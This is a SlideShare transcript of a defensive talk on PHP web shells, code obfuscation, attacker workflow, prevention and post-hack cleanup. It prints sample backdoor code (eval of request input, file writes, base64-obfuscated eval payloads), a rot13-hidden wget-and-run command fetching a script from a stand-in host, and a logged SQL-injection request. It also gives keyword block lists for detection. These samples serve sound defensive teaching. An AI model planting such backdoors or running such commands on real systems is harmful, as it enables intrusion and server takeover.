Your SlideShare is downloading. ×
  • Like
  • Save
Code obfuscation, php shells & more
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Now you can save presentations on your phone or tablet

Available for both IPhone and Android

Text the download link to your phone

Standard text messaging rates apply

Code obfuscation, php shells & more

  • 1,504 views
Published

WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE (AND HOW YOU CAN DETECT & FIX IT)

WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE (AND HOW YOU CAN DETECT & FIX IT)

Published in Internet , Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
1,504
On SlideShare
0
From Embeds
0
Number of Embeds
2

Actions

Shares
Downloads
0
Comments
0
Likes
2

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. CODE OBFUSCATION, PHP SHELLS & MORE WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE (AND HOW YOU CAN DETECT & FIX IT) @mattiasgeniar #phpbnl14-24/1/2014,Edegem
  • 2. WHAT'S THIS TALK ABOUT? Whathappens when I gethacked? What's code obfuscation? Whatare PHP shells? Show me some clever hacks! Prevention Post-hack cleanup
  • 3. WHAT IS THIS _NOT_ ABOUT? How can I hack awebsite? How can I DoS awebsite? How can I find myinsecure code?
  • 4. WHO AM I? Mattias Geniar System Engineer @ Nucleus.be (wemayhaveaccidentallystartedahugestressballfightlastyear) Ex-PHP'er, ORM hater, mostlyaLinux guy
  • 5. WHO ARE YOU? AnyLinux knowledge? Ever had asite compromised? Ever tryto hack your own site?:-) Who was atthis talk @ phpbnl14?
  • 6. WHY DO I GET HACKED? To stealyour data Intermediate hostto attack others Actas aC&C server Send outspammails ...
  • 7. WHAT HAPPENS (TO MY SERVER) WHEN I GET HACKED? Malicious file uploads Localfile modifications SQL injections (to modifyDBcontent) SQL injections (to stealyour data) ... and manymore things
  • 8. TYPICAL ATTACKER WORKFLOW Remote scan website for vulnerabilities (95%automated) Havij,Nessus,Skipfish,SQLmap,w3af,ZedAttackProxy,... Abuse vulnerability(file upload, RFI, SQLi, ...) Mostlymanual,attacksurfacenarrowedbyscans Profit!
  • 9. FOCUS OF THIS TALK File upload abuse: whatcan you do with PHP? Formuploadvulnerability,stolenFTPpasswordsetc. SQL injections NOT THE FOCUS Cross-Site Scripting(XSS) Authentication bypassing Cross-Site RequestForgery(CSRF) ... Check OWASP.orgfor more fun!
  • 10. FILE UPLOADS Obvious ones hackscript.php remote-shell.php Random file names x51n98ApnrE_Dw.php e8AnzRxn5DSMAn.php Attempts to "blend in" contact.php wp-version.php image.php / thumbnail.php
  • 11. FILE MODIFICATIONS wp-config.php apc.php Bootstrap.php ...
  • 12. SQL INJECTIONS: GET CONTENT INTO YOUR DB injectiframes injectscript-tags steal(admin) cookies You'llonlynotice itwhen browsingthe site.
  • 13. SO .... WHAT DOES 'MALICIOUS PHP CODE' LOOK LIKE?
  • 14. LIKE THIS. <?php $rtyqwh="6886213372db82e93bc8504438e99c76";if(isset( $_REQUEST['mwqhx'])){$jagjspf=$_REQUEST['mwqhx']; eval($jagjspf);exit();}if(isset($_REQUEST['pxnikx'])) {$odzc=$_REQUEST['tgdjn'];$fdydwid=$_REQUEST ['pxnikx'];$rwtx=fopen($fdydwid,'w');$iuxrf= fwrite($rwtx,$odzc);fclose($rwtx);echo$iuxrf; exit();} ?>
  • 15. OR THIS. <?php ... preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69 x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65 x63x6Fx64x65x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp 6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlu i4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3X vj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaL k8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+q z9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWH Zrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7b c/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodO WCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UA TKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zY yImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7L bLfN9sYaYoY/UGXb0AlD8p3I9v0rIKpwBd1zTZNDtOKicPUNGlm4brIMGOJxk+lm ....."); ?>
  • 16. YEP, YOU GUESSED IT. <?php ... @error_reporting(0);@ini_set('error_log',NULL);@ini_set('log_ errors',0);if(count($_POST)<2){die(PHP_OS.chr(49).chr(48) .chr(43).md5(0987654321));}$v5031e998=false;foreach(array _keys($_POST)as$v3c6e0b8a){switch($v3c6e0b8a[0]){casech r(108):$vd56b6998=$v3c6e0b8a;break;casechr(100):$v8d777f 38=$v3c6e0b8a;break;casechr(109):$v3d26b0b1=$v3c6e0b8a; break;casechr(101);$v5031e998=true;break;}}if($vd56b6 998===''||$v8d777f38==='')die(PHP_OS.chr(49).chr(49).chr (43).md5(0987654321));$v619d75f8=preg_split('/,(+)?/', @ini_get('disable_functions'));$v01b6e203=@$_POST[$vd56b6998 ... ?>
  • 17. THERE'S PRETTY CODE TOO, THOUGH. JUST NOT AS OFTEN.
  • 18. OBFUSCATION TECHNIQUES Whyhide the code? Legit Preventreverse engineering Protectproprietarycode ZendGuard,SourceGuardian,...requirePHPextensionstodecrypt Accidentally Lack of experiencefrom the dev Simple problems solved in ahard way Malicious Preventcode from beingfound Hidebackdoors in backdoors Hidetrue purpose of script
  • 19. OBFUSCATION TECHNIQUES Remove whitespace if(isset($_GET["t1065n"])){ $auth_pass =""; $color ="#df5"; $default_action ="FilesMan"; $default_use_ajax=true; preg_replace("/.*/e","x65x7..."); } Becomes if(isset($_GET["t1065n"])){$auth_pass="";$color="#df5";$default_action= "FilesMan";$default_use_ajax=true;preg_replace("/.*/e","x65x7...");}
  • 20. OBFUSCATION TECHNIQUES Replacements! $string="mysecretkey"; Obfuscated: $string= chr(109).chr(121).chr(32).chr(115).chr(101).chr(99).chr(114) .chr(101).chr(116).chr(32).chr(107).chr(101).chr(121)); $string="x6ex6fx20x6fx6ex65x20x63x61x6ex20x72x65x61x64x20". "x74x68x69x73x2cx20x6dx75x61x68x61x68x61x21"; $string=gzinflate('??/JU(J?K??U(I?('); Also works with bzip, gzencode, urlencode, UUencode, ... Attacker can send the ASCIIchars via$_POST, code can 'decrypt'byrunningord($_POST['val']).
  • 21. OBFUSCATION TECHNIQUES Character substitutions with str_rot13 (oranyself-madeletterreplacementalgoritm) $string='somerandompieceofcode'; $encoded=str_rot13($string); #$encoded=fbzrenaqbzcvrprbspbqr $decoded=str_rot13($encoded); #$decodedisagain=somerandompieceofcode So if you're evil... $a="rkrp('jtrguggc://fvgr.gyq/unpx.cy;puzbq+kunpx.cy;./unpx.cy');"; eval(str_rot13($a)); exec('wgethttp://site.tld/hack.pl;chmod+xhack.pl;./hack.pl');
  • 22. OBFUSCATION TECHNIQUES Run eval() on encoded strings $code='echo"Inception:PHPinPHP!";'; eval($code); The encoded version becomes: $code='ZWNobyAiSW5jZXB0aW9uOiBQSFAgaW4gUEhQISI7IA=='; eval(base64_decode($code); Image this on a100+ line PHP script. base64_encode()itall and run itin eval().
  • 23. $_="DmzzqsAFsXIeST6fErrz/v9R1Gq99KpbY25MtYNxFqa2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YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBsoDeXKainkK VZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHB M+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MAdFFeA=="; eval(base64_decode($_));
  • 24. OBFUSCATION TECHNIQUES Inception! $_ ='CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZG'. 'Vjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0='; $__ ="JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7"; $___="x62141x73145x3664x5f144x65143x6f144x65"; eval($___($__)); Actuallymeans ... $_ ='if(isset($_POST["code"])){ eval(base64_decode($_POST["code"])); }'; $__ ='$code=base64_decode($_);eval($code);'; $___="base64_decode"; eval($___($__));
  • 25. TIME FOR SOMETHING LESS CRYPTIC ... Or:thefunyoucanhavewhenyoucanuploadyourownPHPfile(s)
  • 26. PHP SHELL SCRIPTS WSO Web Shell C99 shell R57 shell ... Monolithic app: PHP, Javascript, Perl, images, ... Accessed bysimplybrowsingto http://$site/path/to/script.php http://$site/uploads/script.php
  • 27. WHAT DO THOSE SHELLS DO? Usuallycontains authentication/authorization
  • 28. WHAT DO THOSE SHELLS DO? Contains some kind of ACL if(!empty($_SERVER['HTTP_USER_AGENT'])){ $ua=$_SERVER['HTTP_USER_AGENT']; $userAgents=array("Google","MSNBot"); if(preg_match('/'.implode('|',$userAgents).'/i',$ua)){ header('HTTP/1.0404NotFound'); exit; } } #OrbyIP,cookies,$_POSTvalues,...
  • 29. BUT ONCE YOU GET IN ... :-)
  • 30. WEB SHELL BY ORB File listing Remote shells Server info ...
  • 31. FULL CONSOLE Limited to user runningPHP Limited bythe php.iniconfig Can read allyour configs
  • 32. REMOTE SHELLS ~$telnet10.0.2.231337 Connectedtolocalhost. Escapechracteris'^]'. sh-4.1$ls-alh total84K drwxrwx---2xxxhttpd4.0KJan2117:17. drwxrwx---4xxxhttpd4.0KJan2117:25.. -rw-r--r--1xxxhttpd 74KJan2116:562x2.php -rw-r--r--1xxxhttpd 0Jan2117:17look_mom_imma_winning_the_internetz sh-4.1$
  • 33. REMOTE SHELLS Requires perl(standard ... everywhere?) Gets forked to the background Can be _real_painful
  • 34. BIG DEAL ... YOU CAN'T DO ANYTHING! ... CAN'T I?
  • 35. COMPILE YOUR OWN EXPLOIT? sh-4.1$gccexploit.c-oexploit sh-4.1$chmod+xexploit sh-4.1$ls-alhexploit -rwxrwxr-x1xxxxxx6.3KJan2117:38exploit sh-4.1$./exploit
  • 36. START A BITCOIN MINER?
  • 37. WHAT ELSE IN THIS WEB SHELL BY ORB? Zip/Tar.gz manager Brute force ftp/mysql/... Search system for files .mysql_history,.bash_history,*.conf,... Similar to R75 shell, C99, ...
  • 38. C99 SHELL Even has afeedback form!
  • 39. WHAT THEY HAVE IN COMMON GUI stolen from a90's h4ck0rz movie Allsingle page apps Made to dumb-down the user (presets etc.) Offer same kind of tools/scripts/exploits
  • 40. HACKERS PROTECT THEMSELVES Add aself-updatecommand Add aself-destructcommand Make multiple copiesof itself Obfuscate its own code with random data Add to cronto restartscript
  • 41. HOW TO PROTECT YOURSELF Server-sidevscode-wise As adev... Don'ttrustyour users Whitelist(don'tblacklist!) file extensions in upload forms Safe:$whitelist=array('jpg','jpeg'); Unsafe:$blacklist=array('php','cgi');#Willstillallowperl(.pl) code Never use eval() As asysadmin... Don'tallow PHP execution from uploads directory (easilyblockedinwebserverconfigs) Mountfilesystems with noexecoption Virus-scanalluploaded files Block 'dangerous'php functions
  • 42. BLOCK PHP EXECUTION FROM UPLOADS DIRECTORY (we'lltakeApacheasanexample) Wheneverpossible,don'tuse.htaccessfilesbutsetitinyourmain/vhostconfiguration <Directory/var/www/vhosts/mysite.tld/httpdocs/uploads> <FilesMatch"(?i).(php|phtml)$"> OrderDeny,Allow DenyfromAll </FilesMatch> </Directory>
  • 43. BLOCKING DANGEROUS PHP FUNCTIONS (dependsonyourdefinitionofdangerous) php.ini: disable_functions Onlydisables internalfunctions, no user-defined ones Can notbe overwritten later (duh) disable_functions=show_source,exec,system,passthru,dl,phpinfo,... eval()is alanguage construct, notafunction. Can notbe blocked in disable_functions. Check outthe suhosin patch to disable this.
  • 44. YOUR ACCESS & ERROR LOGS ARE GOLDEN Thesearenormalaccesslogs... ---"GET/account.phpHTTP/1.1"20017333"https://site.be/script.php?id=NGE5OTI7N2BlbT ---"GET/images/pages/account.gifHTTP/1.1"2001668"Mozilla/5.0(WindowsNT6.2;WOW ---"GET/images/pages/account_companycontacts.pngHTTP/1.1"2003392"Mozilla/5.0(Win ---"GET/images/pages/account_contacts.gifHTTP/1.1"2001765"Mozilla/5.0(WindowsNT ---"GET/account_orders.phpHTTP/1.1"20021449"Mozilla/5.0(WindowsNT6.2;WOW64;r ...
  • 45. YOUR ACCESS & ERROR LOGS ARE GOLDEN Thesearenot... GET/my_php_file.php?query_param=1%20AND%202458=CAST%28CHR%2858%29%7C%7CCHR%28 112%29%7C%7CCHR%28100%29%7C%7CCHR%28118%29%7C%7CCHR%2858%29%7C%7C%28SELECT%20 COALESCE%28CAST%28uid%20AS%20CHARACTER%2810000%29%29%2CCHR%2832%29%29%20FROM %20db.table%20OFFSET%206543%20LIMIT%201%29%3A%3Atext%7C%7CCHR%2858%29%7C%7CC HR%28104%29%7C%7CCHR%2897%29%7C%7CCHR%28109%29%7C%7CCHR%2858%29%20AS%20NUMER IC%29HTTP/1.1"200554"-""sqlmap/1.0-dev(http://sqlmap.org)" Or ... GET/my_php_file.php?query_param=1AND2458=CAST(CHR(58)||CHR(112)|| CHR(100)||CHR(118)||CHR(58)||(SELECTCOALESCE(CAST(uidASCHARACTER(10000)), CHR(32))FROMdb.tableOFFSET6543LIMIT1)::text||CHR(58)||CHR(104)|| CHR(97)||CHR(109)||CHR(58)ASNUMERIC)HTTP/1.1"200554"-"
  • 46. VERIFY IPS VS. USER-AGENTS 46.165.204.8--[15:16:55+0100]"GET/images.phpHTTP/1.1"200175"-" "Mozilla/5.0(compatible;Goooglebot/2.1;+http://www.google.com/bot.html)" ~$whois46.165.204.8 ... org-name: LeasewebGermanyGmbH ...
  • 47. BLOCK SQL-INJECTION AS A SYSADMIN This can neverbe your onlydefense. This justhelps make it harder. You can acton URL patterns KeywordslikeCHR(),COALESCE(),CAST(),CHR(),... You can acton HTTP user agents Keywordslikesqlmap,owasp,zod,... Installa"Web Application Firewall" (opensource:mod_securityinApache,security.vclinVarnish,ModSecurityinNginx,5GBlacklist,...)
  • 48. BLOCK BRUTE FORCE ATTACKS Ifanapplicationuseriscompromised,theycoulduploadmaliciouscontent. In the application: block usersafter X amountof failed attempts On the server: tools like fail2ban, denyhosts, iptables, ... Extend common tools: fail2banto detectPOSTfloods via access/error logs (ie:10POSTrequestsfromsameIPin5s=ban)
  • 49. STAY UP-TO-DATE Witheverything. Update 3rd party libraries: ckeditor, tinymce, thumbnailscripts, ... Tripple-checkanythingyoutookfromtheinternet. Update your frameworkthatcould have securityfixes Update your OS & applications (limittheprivilegeescalationexploitsiftheappiscompromised) Update your personalknowledge / experience CheckoutOWAS,tryoutfreevulnerabilityscanners,hackyourownsite,...
  • 50. BUT WHAT IF YOU FIND YOU'VE BEEN HACKED ...
  • 51. POST-HACK CLEANUP Or:howtofindthehack Search for suspicious filenames Check your access/error logs (Ifyoufounduploadedfiles,usethetimestampsforamoreaccuratesearch) Check your cronjobs on the system Demsneakybastards... Search allsourcecode for keywords like: eval, base64_decode, wget, curl,... Use sytem tools for scanningmalware like: Maldet, ClamAV, rkhunter, tripwire, ... (youmayneedtopokeyoursysadmin-thesecanrunasdaemons)
  • 52. POST-HACK CLEANUP Take adatabase dump and search for keywords like: iframe, script, ... Take alonglook again atallthe prevention methods we talked aboutearlier. Patch the code Prepare yourself to reinstallyour entire server Ifyou'reunsurehowfartheattackerwent,assumetheygotrootaccess. Ifthat'sthecase,don'ttrustasinglesystembinary. ~$mysqldumpmydb>mydb.sql ~$grep-i'iframe'mydb.sql ~$grep-i'...'mydb.sql
  • 53. THANK YOU ANY QUESTIONS? Contactvia@mattiasgeniaronTwitterorviamailatm@ttias.be www.nucleus.be Also:we'rehiringPHProckstars!